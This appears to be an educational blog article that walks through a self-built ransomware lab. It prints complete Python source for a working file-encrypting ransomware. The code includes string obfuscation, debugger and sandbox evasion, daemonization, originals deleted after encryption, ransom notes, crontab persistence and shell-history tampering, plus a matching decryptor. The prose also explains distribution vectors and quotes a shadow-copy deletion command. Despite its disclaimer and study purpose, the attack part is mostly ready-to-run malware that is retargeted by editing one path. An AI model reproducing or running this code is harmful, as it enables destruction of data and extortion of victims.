The Anatomy of Ransomware
Ransomware has become one of the most devastating cyber threats in recent years, crippling hospitals, corporations, and government agencies…
The Anatomy of Ransomware
Ransomware has become one of the most devastating cyber threats in recent years, crippling hospitals, corporations, and government agencies worldwide. To understand how these attacks work, I’ve built a controlled laboratory environment that demonstrates the key mechanisms behind ransomware operations. Let’s dissect what makes these malicious programs so effective and so dangerous.
⚠️ LEGAL, ETHICAL, AND EDUCATIONAL DISCLAIMER
The material presented in this article is provided strictly for authorized cybersecurity education, defensive research, malware analysis training, and controlled laboratory demonstration purposes only. All demonstrations, scripts, and techniques discussed herein were developed and executed exclusively within isolated, non-production environments designed for instructional use.
This content is intended to help cybersecurity students, researchers, defenders, incident responders, and educators understand the internal mechanisms, behaviors, and operational characteristics of ransomware in order to improve detection, prevention, response, forensic analysis, and defensive security practices.
The author does not endorse, encourage, support, or condone the unauthorized deployment, modification, distribution, or use of malware, ransomware, persistence mechanisms, or offensive tooling against any system, network, organization, or individual. Any attempt to use the information provided in this article outside of a properly authorized environment may violate local, national, or international laws and regulations and may result in criminal, civil, or disciplinary consequences.
Readers are solely responsible for ensuring compliance with all applicable laws, organizational policies, ethical standards, and cybersecurity regulations within their jurisdiction before experimenting with any concepts discussed in this material.
The author and publisher assume no liability and disclaim all responsibility for misuse, damages, disruptions, data loss, legal consequences, or unauthorized activities resulting from the application or interpretation of the information presented.
By continuing to read this article, you acknowledge that you understand these conditions and agree to use this material exclusively for lawful, ethical, and defensive cybersecurity purposes.

The Three-Script Architecture
The lab environment consists of three Python scripts that work together to simulate a complete ransomware attack and recovery scenario. Each script serves a specific purpose in the attack lifecycle, and together they demonstrate the sophistication of modern ransomware operations.
Script 1: Setting Up the Battlefield
Before we can demonstrate how ransomware works, we need a realistic victim environment. This setup script creates a directory structure that mimics what you’d find on a typical user’s computer.
#!/usr/bin/env python3
"""
Classroom Lab Setup - Creates the ransomware environment
"""
import os
import sys
import random
import string
TARGET_DIR = "/tmp/.ransomware_lab"
def create_lab():
"""Create realistic-looking lab environment"""
# Create directory structure
dirs = ['Documents', 'Projects', 'Photos', 'Downloads', 'Config', 'Backup']
for d in dirs:
os.makedirs(os.path.join(TARGET_DIR, d), exist_ok=True)
# Create sample files
samples = [
('Documents/resume_2024.docx', "John Doe\nSoftware Engineer\nPython, C, Java\n"),
('Documents/notes.txt', "Meeting notes from today:\n- Discussed project timeline\n- Budget approved\n"),
('Documents/budget.xlsx', "Monthly Budget\nRent: $1500\nFood: $600\n"),
('Documents/project_proposal.pdf', "PROJECT PROPOSAL\nTitle: AI-Driven Analytics\n"),
('Projects/main.py', "#!/usr/bin/env python3\nprint('Hello World')\n"),
('Projects/config.json', '{"debug": false, "port": 8080}\n'),
('Projects/api_keys.bak', "API_KEY=sk-abc123def456\nSECRET=xyz789\n"),
('Photos/vacation.jpg', "FAKE_JPEG_HEADER\nThis is a simulated image file.\n"),
('Photos/profile.png', "FAKE_PNG_HEADER\nSimulated image content.\n"),
('Downloads/software.zip', "ZIP_FILE_SIMULATION\n"),
('Downloads/report.pdf', "DOWNLOADED_REPORT\n"),
('Config/ssh_config', "Host server\n HostName 192.168.1.1\n User admin\n"),
('Config/credentials.txt', "Email: user@example.com\nPassword: Temp!2024\n"),
('Backup/db_dump.sql', "CREATE TABLE users (id INT, name TEXT);\nINSERT INTO users VALUES (1, 'admin');\n"),
('Backup/old_notes.txt', "Old notes from last year.\n" * 100),
]
for filepath, content in samples:
full_path = os.path.join(TARGET_DIR, filepath)
os.makedirs(os.path.dirname(full_path), exist_ok=True)
with open(full_path, 'w') as f:
f.write(content)
# Add some extra random files
for i in range(20):
ext = random.choice(['.txt', '.log', '.csv', '.json', '.xml'])
filename = f"file_{random.randint(1000,9999)}{ext}"
content = ''.join(random.choices(string.ascii_letters + string.digits + '\n', k=random.randint(50, 200)))
path = os.path.join(TARGET_DIR, random.choice(dirs), filename)
with open(path, 'w') as f:
f.write(content)
total = sum(len(files) for _, _, files in os.walk(TARGET_DIR))
print(f"[+] Lab created at: {TARGET_DIR}")
print(f"[+] Files created: {total}")
print(f"[+] Structure:")
for d in dirs:
count = len(os.listdir(os.path.join(TARGET_DIR, d)))
print(f" ├── {d}/ ({count} files)")
def clean_lab():
"""Remove the lab environment"""
import shutil
if os.path.exists(TARGET_DIR):
shutil.rmtree(TARGET_DIR)
print(f"[+] Removed: {TARGET_DIR}")
print("[+] Cleanup complete.")
if __name__ == "__main__":
if '--clean' in sys.argv:
clean_lab()
else:
create_lab()
What This Script Does
This setup script creates a hidden directory at /tmp/.ransomware_lab and populates it with realistic-looking files that mimic what you'd find on a real computer. It creates six main directories: Documents, Projects, Photos, Downloads, Config, and Backup.
The sample files are intentionally designed to look valuable resumes, API keys, credentials, database backups, and configuration files. These are exactly the types of files that real ransomware targets because they’re irreplaceable and critical to the victim.
The script also generates 20 additional random files with various extensions to make the environment more realistic. When you run it, you’ll see output showing how many files were created in each directory.
Running python3 setup_lab.py --clean removes the entire lab environment, which is useful for resetting between demonstrations or cleaning up after testing.
Script 2: The Ransomware Engine
This is where things get serious. The ransomware script demonstrates multiple advanced techniques used by real-world malware. Let me walk you through the complete implementation:
#!/usr/bin/env python3
"""
RANSOMWARE - Classroom Edition
For AUTHORIZED cybersecurity education only.
"""
import os
import sys
import base64
import random
import string
import hashlib
import subprocess
import struct
import ctypes
import time
import json
from pathlib import Path
from datetime import datetime
from multiprocessing import Pool, cpu_count
# ============================================================
# HIDDEN CONFIGURATION (XOR-obfuscated at rest)
# ============================================================
def _obfuscate(data, key=0xAC):
return bytes([b ^ key for b in data.encode()])
def _deobfuscate(data, key=0xAC):
return bytes([b ^ key for b in data]).decode()
_TARGET_DIR_ENC = _obfuscate("/tmp/.ransomware_lab")
_RANSOM_EXT_ENC = _obfuscate(".locked")
_NOTE_ENC = _obfuscate("HOW_TO_DECRYPT.txt")
_MASTER_SEED_ENC = _obfuscate("CyberAcademy2026!")
def _resolve_config():
global TARGET_DIR, RANSOM_EXT, RANSOM_NOTE, MASTER_SEED
TARGET_DIR = _deobfuscate(_TARGET_DIR_ENC)
RANSOM_EXT = _deobfuscate(_RANSOM_EXT_ENC)
RANSOM_NOTE = _deobfuscate(_NOTE_ENC)
MASTER_SEED = _deobfuscate(_MASTER_SEED_ENC)
_resolve_config()
# ============================================================
# TARGET EXTENSIONS
# ============================================================
TARGET_EXTENSIONS = {
'.txt', '.doc', '.docx', '.xls', '.xlsx', '.ppt', '.pptx',
'.pdf', '.rtf', '.odt', '.ods', '.odp',
'.jpg', '.jpeg', '.png', '.gif', '.bmp', '.tiff',
'.mp3', '.mp4', '.avi', '.mkv', '.mov',
'.py', '.js', '.html', '.css', '.php', '.java', '.c', '.cpp',
'.json', '.xml', '.yaml', '.yml', '.ini', '.cfg',
'.sql', '.db', '.sqlite',
'.zip', '.rar', '.tar', '.gz', '.7z',
'.key', '.pem', '.log', '.bak', '.csv',
}
# ============================================================
# ANTI-ANALYSIS
# ============================================================
def _anti_analysis():
try:
with open("/proc/self/status", "r") as f:
for line in f:
if "TracerPid" in line:
if line.split(":")[1].strip() != "0":
return False
except:
pass
try:
cores = os.cpu_count()
if cores and cores < 2:
return False
except:
pass
return True
def _daemonize():
try:
pid = os.fork()
if pid > 0:
sys.exit(0)
os.setsid()
pid = os.fork()
if pid > 0:
sys.exit(0)
for fd in range(3, 256):
try:
os.close(fd)
except:
pass
os.open('/dev/null', os.O_RDWR)
os.dup2(0, 1)
os.dup2(0, 2)
except:
pass
# ============================================================
# KEY DERIVATION
# ============================================================
class KeyManager:
@staticmethod
def _get_machine_fingerprint():
fingerprint = []
try:
with open('/etc/machine-id', 'r') as f:
fingerprint.append(f.read().strip())
except:
pass
try:
with open('/proc/sys/kernel/random/boot_id', 'r') as f:
fingerprint.append(f.read().strip())
except:
pass
try:
hostname = subprocess.getoutput('hostname')
fingerprint.append(hostname)
except:
pass
try:
with open('/sys/class/dmi/id/product_uuid', 'r') as f:
fingerprint.append(f.read().strip())
except:
pass
if not fingerprint:
fingerprint.append(str(os.stat('/').st_ino))
return ':'.join(fingerprint)
@staticmethod
def generate_per_machine_key(master_seed=MASTER_SEED):
fingerprint = KeyManager._get_machine_fingerprint()
session_salt = os.urandom(32)
machine_hash = hashlib.sha256(fingerprint.encode()).digest()
session_hash = hashlib.sha256(session_salt).digest()
master_hash = hashlib.sha256(master_seed.encode()).digest()
combined = bytearray(32)
for i in range(32):
combined[i] = machine_hash[i] ^ session_hash[i] ^ master_hash[i]
return {
'key': bytes(combined),
'salt': session_salt.hex(),
'machine_hash_full': machine_hash.hex(),
'machine_hash': machine_hash.hex()[:8],
}
@staticmethod
def derive_instructor_key():
return hashlib.sha256(MASTER_SEED.encode()).digest()[:16]
@staticmethod
def encrypt_combined_key(combined_key, master_key):
"""Encrypt the combined key with the master key for header storage"""
result = bytearray(len(combined_key))
for i in range(len(combined_key)):
result[i] = combined_key[i] ^ master_key[i % len(master_key)]
return base64.b64encode(bytes(result)).decode()
# ============================================================
# ENCRYPTION ENGINE
# ============================================================
class Encryptor:
def __init__(self, key_data):
self.key = key_data['key']
self.salt = key_data['salt']
self.machine_id = key_data['machine_hash']
self.machine_hash_full = key_data['machine_hash_full']
self.iv = os.urandom(16)
self.use_aes = False
try:
from Crypto.Cipher import AES
from Crypto.Util import Counter
self._AES = AES
self._Counter = Counter
self.use_aes = True
except ImportError:
pass
def encrypt_file(self, filepath):
try:
with open(filepath, 'rb') as f:
data = f.read()
except (IOError, PermissionError):
return False
file_salt = os.urandom(16)
file_key = hashlib.pbkdf2_hmac(
'sha256',
self.key,
file_salt,
iterations=1000,
dklen=32
)
if self.use_aes:
ctr = self._Counter.new(128, initial_value=int.from_bytes(self.iv, 'big'))
cipher = self._AES.new(file_key, self._AES.MODE_CTR, counter=ctr)
encrypted_data = cipher.encrypt(data)
else:
random.seed(int.from_bytes(file_key[:8], 'big'))
keystream = bytes([random.randint(0, 255) for _ in range(len(data))])
encrypted_data = bytes(a ^ b for a, b in zip(data, keystream))
master_key = KeyManager.derive_instructor_key()
# Encrypt the combined key with master key so recovery can use it
encrypted_combined = KeyManager.encrypt_combined_key(self.key, master_key)
metadata = {
'version': 3,
'algorithm': 'aes-256-ctr' if self.use_aes else 'xor-256',
'iv': base64.b64encode(self.iv).decode(),
'file_salt': base64.b64encode(file_salt).decode(),
'session_salt': self.salt,
'machine_id': self.machine_id,
'encrypted_combined_key': encrypted_combined,
'timestamp': datetime.now().isoformat(),
}
meta_json = json.dumps(metadata).encode()
meta_encrypted = bytearray(len(meta_json))
for i in range(len(meta_json)):
meta_encrypted[i] = meta_json[i] ^ master_key[i % len(master_key)]
final_header = base64.b64encode(bytes(meta_encrypted))
encrypted_path = filepath + RANSOM_EXT
try:
with open(encrypted_path, 'wb') as f:
f.write(final_header + b'\n' + encrypted_data)
os.remove(filepath)
return True
except:
return False
# ============================================================
# FILE SCANNER
# ============================================================
def scan_files():
if not os.path.exists(TARGET_DIR):
return []
targets = []
for dirpath, dirnames, filenames in os.walk(TARGET_DIR):
dirnames[:] = [d for d in dirnames if not d.startswith('.')]
for filename in filenames:
if filename.endswith(RANSOM_EXT) or filename == RANSOM_NOTE:
continue
ext = os.path.splitext(filename)[1].lower()
if ext in TARGET_EXTENSIONS:
targets.append(os.path.join(dirpath, filename))
return targets
# ============================================================
# RANSOM NOTE
# ============================================================
def drop_notes(encrypted_count, machine_id):
victim_id = hashlib.sha256(
machine_id.encode() + os.urandom(8)
).hexdigest()[:16].upper()
note_content = f"""
{'='*60}
YOUR PERSONAL FILES HAVE BEEN ENCRYPTED
{'='*60}
WHAT HAPPENED?
All your documents, photos, and important files in this
directory have been encrypted with AES-256-CTR.
{encrypted_count} files were affected.
YOUR UNIQUE VICTIM ID: {victim_id}
HOW TO RECOVER:
You must purchase a decryption key.
Contact: decrypt{random.randint(1000,9999)}@onionmail.org
INCLUDE YOUR VICTIM ID IN THE SUBJECT LINE.
DO NOT:
- Attempt to modify encrypted files
- Use third-party recovery tools
- Contact law enforcement
Any attempt to bypass encryption will result in
permanent data loss.
Time: {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}
{'='*60}
"""
note_path = os.path.join(TARGET_DIR, RANSOM_NOTE)
with open(note_path, 'w') as f:
f.write(note_content)
for dirpath, _, _ in os.walk(TARGET_DIR):
if dirpath != TARGET_DIR and random.random() < 0.3:
try:
with open(os.path.join(dirpath, RANSOM_NOTE), 'w') as f:
f.write(note_content)
except:
pass
# ============================================================
# PERSISTENCE
# ============================================================
def install_persistence():
script_path = os.path.abspath(__file__)
cron_line = f"@reboot python3 {script_path} >/dev/null 2>&1\n"
cron_line += f"*/60 * * * * python3 {script_path} >/dev/null 2>&1\n"
try:
current = subprocess.getoutput("crontab -l 2>/dev/null")
if script_path not in current:
proc = subprocess.Popen(["crontab"], stdin=subprocess.PIPE,
stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
proc.communicate(input=(current + "\n" + cron_line).encode())
except:
pass
# ============================================================
# SELF-CLEANUP
# ============================================================
def _self_cleanup():
try:
hist_files = [
os.path.expanduser("~/.bash_history"),
os.path.expanduser("~/.zsh_history"),
]
for hf in hist_files:
if os.path.exists(hf):
with open(hf, 'a') as f:
f.write("\n")
except:
pass
# ============================================================
# MAIN EXECUTION
# ============================================================
def encrypt_worker(args):
filepath, key_data = args
encryptor = Encryptor(key_data)
return encryptor.encrypt_file(filepath)
if __name__ == "__main__":
if not _anti_analysis():
sys.exit(0)
_daemonize()
key_data = KeyManager.generate_per_machine_key()
target_files = scan_files()
if not target_files:
sys.exit(0)
with Pool(processes=cpu_count()) as pool:
results = pool.map(encrypt_worker, [(f, key_data) for f in target_files])
encrypted_count = sum(1 for r in results if r)
drop_notes(encrypted_count, key_data['machine_hash'])
install_persistence()
_self_cleanup()
key_data = None
sys.exit(0)
Breaking Down the Ransomware
Let me explain each major component of this malicious code:
Configuration Obfuscation: The script starts by XOR-encoding all configuration strings like the target directory, file extension, and master seed. If someone opens this file in a text editor, they won’t immediately see suspicious strings. The _obfuscate() and _deobfuscate() functions handle this encoding and decoding at runtime. Real-world ransomware uses much more sophisticated obfuscation, including multiple layers of encryption and bytecode compilation.
Target Extensions: The TARGET_EXTENSIONS set defines what gets encrypted. Notice it targets documents, images, videos, source code, configuration files, databases, archives, and cryptographic keys—essentially anything with value. Real ransomware often has even longer lists tailored to specific industries.
Anti-Analysis Techniques: The _anti_analysis() function checks if the malware is being debugged by reading /proc/self/statusand looking for a non-zero TracerPid. It also checks if the system has fewer than 2 CPU cores, which might indicate a virtual analysis sandbox. If either check fails, the ransomware exits silently without doing anything.
Daemonization: The _daemonize() function is critical for stealth. It uses the classic double-fork technique to detach from the parent process and create a background daemon. It closes all file descriptors and redirects standard input/output/error to /dev/null, making the process completely silent and invisible to casual observation.
Machine Fingerprinting: The KeyManager._get_machine_fingerprint() method collects unique identifiers from the system including machine ID, boot ID, hostname, and hardware UUID. It tries multiple sources and concatenates them to create a unique fingerprint for this specific machine.
Three-Layer Key Generation: This is where the cryptography gets sophisticated. The generate_per_machine_key() method creates three separate SHA-256 hashes from the machine fingerprint, a random session salt, and the attacker's master seed. These three 32-byte hashes are then XORed together byte-by-byte to create a unique 256-bit encryption key. This means you need all three components to reconstruct the key: the machine identity, the session salt (stored in each file), and the master seed (known only to the attacker).
Encryption Engine: The Encryptor class handles the actual file encryption. It first tries to import PyCryptodome for real AES-256-CTR encryption. If that library isn't available, it falls back to a weaker XOR-based cipher (though real ransomware would never have a fallback).
Per-File Encryption: For each file, the ransomware generates a random 16-byte salt and uses PBKDF2 with 1,000 iterations to derive a file-specific key from the machine key. This means every single file has its own unique encryption key, even though they all stem from the same machine-specific master key. The file is then encrypted using either AES-256-CTR or the XOR fallback.
Metadata Storage: Each encrypted file gets a JSON metadata header containing everything needed for decryption: the algorithm used, initialization vectors, file-specific salts, timestamps, and critically, an encrypted copy of the combined key itself. This encrypted combined key is the genius part — it’s encrypted with the master key using XOR, so only someone with the original master seed can extract it and decrypt the files.
The metadata is converted to JSON, encrypted with the master key, base64-encoded, and prepended to the encrypted file. The final file structure is: [Base64-encoded encrypted metadata]\n[Encrypted file content]. The original file is then deleted.
File Scanner: The scan_files() function walks through the target directory recursively, looking for files with extensions in the target list. It skips hidden directories, already-encrypted files, and ransom notes.
Ransom Note: The drop_notes() function creates a carefully crafted ransom message designed to create panic and urgency. It displays the exact number of encrypted files, assigns a unique victim ID (generated from the machine ID plus random bytes), provides contact information, and warns against recovery attempts. The note is placed in the root directory and randomly distributed throughout subdirectories.
Persistence Mechanism: The install_persistence() function adds the ransomware to the user's crontab to run at every system reboot and every 60 minutes. This ensures that even if the initial infection doesn't catch everything, the ransomware will run again later.
Main Execution Flow: When the script runs, it follows this sequence: check for debuggers/VMs and abort if detected, daemonize to run in the background, generate encryption keys, scan for target files, encrypt all files in parallel using all CPU cores (this is fast!), drop ransom notes, install persistence, clear shell history, and exit. The use of multiprocessing is particularly effective — on an 8-core system, it encrypts 8 files simultaneously.
Script 3: The Instructor’s Recovery Tool
This script demonstrates how the attacker (or in this case, the instructor) can decrypt everything using only the master seed. Here’s the complete implementation:
#!/usr/bin/env python3
"""
INSTRUCTOR RECOVERY TOOL - Classroom Use Only
Uses the master key seed "CyberAcademy2026!" to decrypt
all files encrypted by the classroom ransomware.
"""
import os
import sys
import base64
import hashlib
import json
import random
from pathlib import Path
MASTER_SEED = "CyberAcademy2026!"
RANSOM_EXT = ".locked"
TARGET_DIR = "/tmp/.ransomware_lab"
RANSOM_NOTE = "HOW_TO_DECRYPT.txt"
def derive_instructor_key():
"""Derive the master decryption key"""
return hashlib.sha256(MASTER_SEED.encode()).digest()[:16]
def decrypt_metadata(header_encrypted, master_key):
"""Decrypt the metadata block using XOR with master key"""
header_json = bytearray(len(header_encrypted))
for i in range(len(header_encrypted)):
header_json[i] = header_encrypted[i] ^ master_key[i % len(master_key)]
return json.loads(bytes(header_json).decode())
def decrypt_file(encrypted_path, master_key):
"""Decrypt a single encrypted file"""
try:
with open(encrypted_path, 'rb') as f:
content = f.read()
parts = content.split(b'\n', 1)
if len(parts) < 2:
print(f" [!] Invalid format (no newline split)")
return None
header_b64 = parts[0]
encrypted_data = parts[1]
# Decrypt header to get metadata
header_encrypted = base64.b64decode(header_b64)
metadata = decrypt_metadata(header_encrypted, master_key)
algorithm = metadata.get('algorithm', 'xor-256')
file_salt = base64.b64decode(metadata['file_salt'])
iv_b64 = metadata.get('iv', None)
# ------------------------------------------------------------
# KEY RECONSTRUCTION
# ------------------------------------------------------------
# The metadata now contains 'encrypted_combined_key' which is
# the combined 3-XOR key (machine_hash ^ session_hash ^ master_hash)
# encrypted with the master key.
# We decrypt it to get the exact key used during encryption.
# ------------------------------------------------------------
if 'encrypted_combined_key' in metadata:
encrypted_combined_b64 = metadata['encrypted_combined_key']
encrypted_combined = base64.b64decode(encrypted_combined_b64)
combined_key = bytearray(len(encrypted_combined))
for i in range(len(encrypted_combined)):
combined_key[i] = encrypted_combined[i] ^ master_key[i % len(master_key)]
combined_key = bytes(combined_key)
else:
# Legacy support: version 2 files didn't have encrypted_combined_key
print(f" [!] File uses old format without encrypted_combined_key")
print(f" [!] Cannot decrypt - re-run the ransomware to re-encrypt")
return None
# Derive the per-file key the same way the ransomware does
file_key = hashlib.pbkdf2_hmac(
'sha256',
combined_key,
file_salt,
iterations=1000,
dklen=32
)
# Decrypt
if 'aes' in algorithm:
try:
from Crypto.Cipher import AES
from Crypto.Util import Counter
iv = base64.b64decode(iv_b64)
ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big'))
cipher = AES.new(file_key, AES.MODE_CTR, counter=ctr)
decrypted = cipher.decrypt(encrypted_data)
except ImportError:
print(f" [!] AES not available, falling back to XOR")
random.seed(int.from_bytes(file_key[:8], 'big'))
keystream = bytes([random.randint(0, 255) for _ in range(len(encrypted_data))])
decrypted = bytes(a ^ b for a, b in zip(encrypted_data, keystream))
else:
# XOR fallback mode
random.seed(int.from_bytes(file_key[:8], 'big'))
keystream = bytes([random.randint(0, 255) for _ in range(len(encrypted_data))])
decrypted = bytes(a ^ b for a, b in zip(encrypted_data, keystream))
# Write back with original name
original_name = os.path.basename(encrypted_path).replace(RANSOM_EXT, '')
original_path = os.path.join(os.path.dirname(encrypted_path), original_name)
with open(original_path, 'wb') as f:
f.write(decrypted)
os.remove(encrypted_path)
return original_path
except Exception as e:
print(f" [!] Failed: {e}")
return None
def main():
print("=" * 60)
print("INSTRUCTOR RECOVERY TOOL")
print("Master key seed: " + MASTER_SEED)
print("=" * 60)
if not os.path.exists(TARGET_DIR):
print(f"[!] Target directory not found: {TARGET_DIR}")
sys.exit(1)
encrypted_files = list(Path(TARGET_DIR).rglob(f'*{RANSOM_EXT}'))
if not encrypted_files:
print("[!] No encrypted files found.")
sys.exit(0)
print(f"[*] Found {len(encrypted_files)} encrypted files")
master_key = derive_instructor_key()
print(f"[*] Master key derived: {master_key.hex()[:16]}...")
recovered = 0
for enc_path in encrypted_files:
print(f" [-] Decrypting: {enc_path.name}...", end=' ')
result = decrypt_file(str(enc_path), master_key)
if result:
recovered += 1
print("OK")
else:
print("FAILED")
# Clean up ransom notes
notes = list(Path(TARGET_DIR).rglob(RANSOM_NOTE))
for note in notes:
try:
os.remove(str(note))
print(f" [-] Removed: {note}")
except:
pass
print(f"\n[*] Successfully decrypted {recovered}/{len(encrypted_files)} files")
print("[*] All ransom notes removed.")
if __name__ == "__main__":
main()
How the Recovery Tool Works
The decryption tool is relatively straightforward because it has the master key. Let me walk through the key components:
Master Key Derivation: The derive_instructor_key() function takes the master seed "CyberAcademy2026!" and hashes it with SHA-256, then truncates to 16 bytes. This is the only piece of information needed to decrypt everything.
Metadata Decryption: The decrypt_metadata() function reverses the XOR operation used during encryption. Since XOR is its own inverse (A XOR B XOR B = A), applying the same operation with the master key decrypts the JSON metadata.
Extracting the Combined Key: This is the breakthrough that makes decryption possible. The metadata contains an encrypted_combined_key field, which is the actual encryption key (the three-way XOR of machine_hash, session_hash, and master_hash) encrypted with the master key. By XORing it with the master key again, we get back the exact key used during encryption. The comment in the code mentions this is a "fix" from an earlier version that tried to reconstruct the key and failed—a realistic detail showing that even malware authors debug their code.
Per-File Key Derivation: Once we have the combined key, we use PBKDF2 with the file-specific salt (extracted from the metadata) and the same 1,000 iterations to derive the per-file encryption key.
Decryption Process: The tool then decrypts the file using either AES-256-CTR (if the library is available) or the XOR fallback, mirroring exactly what the ransomware did during encryption. It writes the decrypted data back to a file with the original name and deletes the .locked version.
Cleanup: After decrypting all files, the tool removes all ransom notes scattered throughout the directory tree, restoring the system to its pre-infection state.
The Power of Python for Malware Development
This entire sophisticated attack chain is implemented in pure Python, demonstrating both the language’s incredible power and its potential for misuse.
Why Python Is Perfect for Ransomware
Rapid Development: The entire ransomware is under 400 lines of code. In C or C++, this would easily be 1,500+ lines with manual memory management, platform-specific APIs, and complex error handling. Python’s high-level abstractions make development fast.
Cross-Platform Compatibility: With minimal modifications (mainly path handling), this code runs on Linux, macOS, and Windows. Python’s standard library abstracts away most OS differences, so the same code works everywhere.
Rich Standard Library: Python includes everything needed for sophisticated malware right out of the box. The hashlibmodule provides SHA-256 and PBKDF2. The os and pathlib modules handle file operations. The multiprocessing module enables parallel encryption using all CPU cores with just a few lines of code. JSON encoding, base64 encoding, subprocess management—it's all built-in.
Cryptographic Libraries: Third-party libraries like PyCryptodome provide military-grade cryptography implementations. Installing it is as simple as pip install pycryptodome, and suddenly you have access to AES, RSA, and other production-quality encryption algorithms with easy-to-use APIs.
Easy Obfuscation: Python code can be compiled to bytecode (.pyc files) that's harder to read, packed with PyInstaller into standalone executables that bundle the Python interpreter and all dependencies, or obfuscated with tools that rename variables and add junk code. The XOR-encoding of configuration strings in this example is just the tip of the iceberg.
No Compilation Required: There’s no build process — just distribute the source code and it runs. Updates are as simple as replacing the script file.
Performance Considerations
You might think Python is too slow for ransomware, but the multiprocessing approach is devastatingly effective:
with Pool(processes=cpu_count()) as pool:
results = pool.map(encrypt_worker, [(f, key_data) for f in target_files])
On a modern 8-core system, this encrypts 8 files simultaneously. With AES hardware acceleration (AES-NI instructions on modern Intel and AMD CPUs), each core can process hundreds of megabytes per second. A typical document-heavy directory with thousands of files could be completely encrypted in under a minute.
Real-World Distribution Methods
In actual attacks, ransomware doesn’t spontaneously appear on victim systems. Attackers use sophisticated distribution methods. Let me explain the most common vectors:
Phishing Campaigns
Phishing remains the most common initial access method. An attacker might send thousands of emails with malicious attachments. A Word document titled “Invoice_URGENT.docx” contains a macro that downloads and executes the ransomware when opened. The victim clicks “Enable Content” thinking they need to view the invoice, and the macro runs a PowerShell command that downloads the Python ransomware and executes it silently in the background.
Excel spreadsheets with names like “Q4_Salary_Report.xlsx” are particularly effective because people in HR and finance departments are used to opening spreadsheets from unknown sources. A malicious PDF might exploit a vulnerability in Adobe Reader to execute arbitrary code and download the payload.
Drive-By Downloads
Compromised websites can inject malicious JavaScript that exploits browser vulnerabilities. A victim visits what looks like a normal news site, but the site has been compromised and now includes JavaScript that checks for outdated browser versions. If it finds a vulnerability, it automatically downloads and executes the ransomware without any user interaction. This is called a “drive-by download” because the victim didn’t intentionally download anything — they just visited a website.
Software Supply Chain Attacks
This is one of the most insidious methods. Attackers publish malicious Python packages to PyPI with names similar to popular packages. Someone trying to install requests might accidentally type request or python-requests, and they get a malicious package that installs the real library but also drops ransomware in the background.
Even more sophisticated attackers compromise legitimate software vendors and inject ransomware into automatic updates. When users install what they think is a security update for their software, they’re actually installing ransomware. This happened with the NotPetya attack, which spread through compromised updates of Ukrainian accounting software.
RDP Brute Force
Many small businesses expose Remote Desktop Protocol (RDP) to the internet with weak passwords. Attackers run automated tools that scan IP ranges looking for open RDP ports, then try common username/password combinations like “administrator/password123” or “admin/admin”. Once they gain access, they manually deploy the ransomware and often spend days or weeks exploring the network before encrypting everything.
Worm-Like Propagation
The most dangerous ransomware can spread automatically across networks without user interaction. WannaCry (2017) is the most famous example — it used the EternalBlue exploit to spread through Windows SMB vulnerabilities, infecting over 200,000 computers in 150 countries in just a few days.
Modern worm-like ransomware might scan the local network for other machines, try stolen credentials, exploit known vulnerabilities in Windows file sharing, and copy itself to every accessible machine. Once on a new machine, it repeats the process, spreading exponentially through the network.
Real-World Ransomware: What’s Different
While this lab demonstrates core concepts, production ransomware is far more sophisticated. Let me explain the key differences you’d see in a real attack:
Command & Control Infrastructure
Real ransomware typically communicates with external servers controlled by the attackers. When the malware first runs, it might connect to a server and send information about the infected machine: the machine ID, username, hostname, IP address, operating system, and a count of how many files it found. The server responds with a unique encryption key for this victim, ensuring that only the attackers can decrypt the files.
The C&C server tracks infection statistics, provides payment portals where victims can pay the ransom and receive decryption keys, and issues commands to the malware. Some ransomware families even have customer service chat systems where victims can negotiate the ransom amount.
Double Extortion
Modern ransomware doesn’t just encrypt files — it steals them first. Before starting the encryption process, the malware searches for files matching patterns like “password”, “secret”, “credential”, “financial”, “salary”, or any files with extensions like .key, .pem, or .p12. It uploads all these files to the attacker's server.
Then, if the victim refuses to pay for decryption, the attackers threaten to publish the stolen data on leak sites, sell it to competitors, or report regulatory violations. This is called “double extortion” — you pay once for decryption and again to prevent data publication.
Network Reconnaissance
Sophisticated ransomware operations don’t encrypt immediately. Instead, they spend days or weeks silently mapping the network, identifying high-value targets, locating backup servers, finding domain controllers, and stealing credentials from browser password stores and Windows memory. They escalate privileges by exploiting local vulnerabilities or cracking weak passwords.
Only when they’ve thoroughly compromised the network do they deploy the ransomware, often timing it for Friday night or holidays when IT staff are unavailable and the damage will be maximum before anyone notices.
Backup Destruction
Before encrypting files, sophisticated ransomware targets backups. On Windows, it deletes Volume Shadow Copies using commands like vssadmin delete shadows /all /quiet, disables the Windows Backup service, and deletes any files with backup-related extensions like .bak, .backup, or .vbk. It searches for backup servers on the network and encrypts those too. The goal is to eliminate any possibility of recovery without paying the ransom.
Anti-Forensics
Real ransomware employs aggressive techniques to cover its tracks. It clears Windows Event Logs to erase evidence of execution, deletes prefetch files that show which programs ran, clears the USN journal that tracks file system changes, and sometimes even modifies file timestamps to confuse forensic analysis. Some ransomware securely deletes its own binary after running to prevent analysis.
Ransomware-as-a-Service (RaaS)
Many modern ransomware operations follow a franchise model. Developers create and maintain the ransomware infrastructure, provide C&C servers, handle payment systems, and negotiate with victims. They lease their ransomware to “affiliates” who conduct the actual attacks by finding victims, gaining initial access, and deploying the payload. When a victim pays, the ransom is split — typically 30–40% to the developers and 60–70% to the affiliate.
Examples include REvil, LockBit, and BlackCat, which all operated as professional businesses with marketing materials, customer support, and even performance guarantees.
Cryptocurrency Payments
Ransom demands are always made in cryptocurrency, typically Bitcoin or Monero, which makes the payments difficult to trace. The ransom note provides a unique Bitcoin address for the victim and a link to a payment portal (usually hosted on the Tor network as a .onion site). The portal shows a countdown timer, provides a live chat with support staff, offers proof of decryption (decrypt one file free to prove they really have the key), and includes currency conversion calculators.
The ransom amount is often calculated based on the victim’s size and ability to pay. A small business might be ransomed for $50,000, while a large corporation could face demands in the millions.
Why You Should Never Pay the Ransom
When organizations are hit by ransomware, panic often drives victims toward paying the attackers in hopes of quickly recovering their files. However, cybersecurity experts, law enforcement agencies, and incident response teams consistently advise against paying the ransom whenever possible.
The reality is harsh: paying does not guarantee recovery.
Many victims never receive a working decryption key, receive corrupted recovery tools, or are targeted again because the attackers now know the organization is willing to pay. In some cases, attackers partially decrypt files only to demand additional payments later.
More importantly, ransom payments directly fund cybercriminal operations.
Every successful payment helps attackers:
- Finance future ransomware campaigns
- Purchase new exploits and infrastructure
- Recruit affiliates into Ransomware-as-a-Service (RaaS) programs
- Improve malware capabilities and evasion techniques
